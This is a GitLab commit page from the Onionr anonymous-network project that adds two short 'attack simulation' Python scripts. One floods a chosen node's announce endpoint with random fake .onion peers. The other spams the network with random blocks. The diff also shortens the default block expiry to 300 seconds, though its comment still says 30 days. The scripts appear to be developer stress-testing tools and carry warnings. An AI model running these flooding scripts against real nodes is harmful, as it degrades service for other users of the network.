Commit 65002290 authored by Kevin Froman's avatar Kevin Froman

added attack simulation scripts

parent c58bbbb1
Pipeline #114376721 failed with stage
in 3 minutes and 49 seconds
This directory contains useful scripts and utilities that don't make sense to include as official Onionr features.
passphrase-generator.py: very simple utility to generate and print a strong passphrase to stdout. 256 bits of entropy by default.
enable-dev-config.py/disable-dev-config.py: enable/disable dev default config setup
\ No newline at end of file
enable-dev-config.py/disable-dev-config.py: enable/disable dev default config setup
block-spammer.py: attack tool for spamming blocks
announce-attack.py: flood a node with false nodes
\ No newline at end of file
import sys
import os
import secrets
import base64
os.chdir('../')
sys.path.append("src/")
from onionrutils import stringvalidators
from onionrutils import basicrequests
def random_tor_generator():
return base64.b32encode(secrets.token_bytes(35)).decode().replace("=", "").lower() + ".onion"
node = input("Enter node to attack. Note that you must legally use your own, and even that might lead to issues")
assert stringvalidators.validate_transport(node)
count = int(input("Attack amount: "))
port = input("Socks:")
for x in range(count):
new = random_tor_generator()
print(f"Introducing {new} to {node}")
basicrequests.do_post_request(
f'http://{node}/announce',
data = {'node': new},
port=port)
#!/usr/bin/env python3
"""Spam a bunch of Onionr blocks"""
# Please don't run this script on the real Onionr network. You wouldn't do anything but be annoying
print("Please don't run this script on the real Onionr network. You wouldn't do anything but be annoying, and possibly violate law")
import sys
import os
os.chdir('../')
sys.path.append("src/")
import onionrblocks
amount = int(input("Number of blocks:"))
for i in range(amount):
onionrblocks.insert(data=os.urandom(32))
print(i, "done")
......@@ -53,7 +53,7 @@ MAX_NEW_PEER_QUEUE = 1000
"""Make announce take a few seconds (on average) to compute to discourage excessive node announcements"""
ANNOUNCE_POW = 6
"""30 days is plenty of time for someone to decide to renew a block"""
DEFAULT_EXPIRE = 2592000
DEFAULT_EXPIRE = 300
# Metadata header section length limits, in bytes
BLOCK_METADATA_LENGTHS = {'meta': 1000, 'sig': 200, 'signer': 200, 'time': 10, 'pow': 1000, 'encryptType': 4, 'expire': 14}
......
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment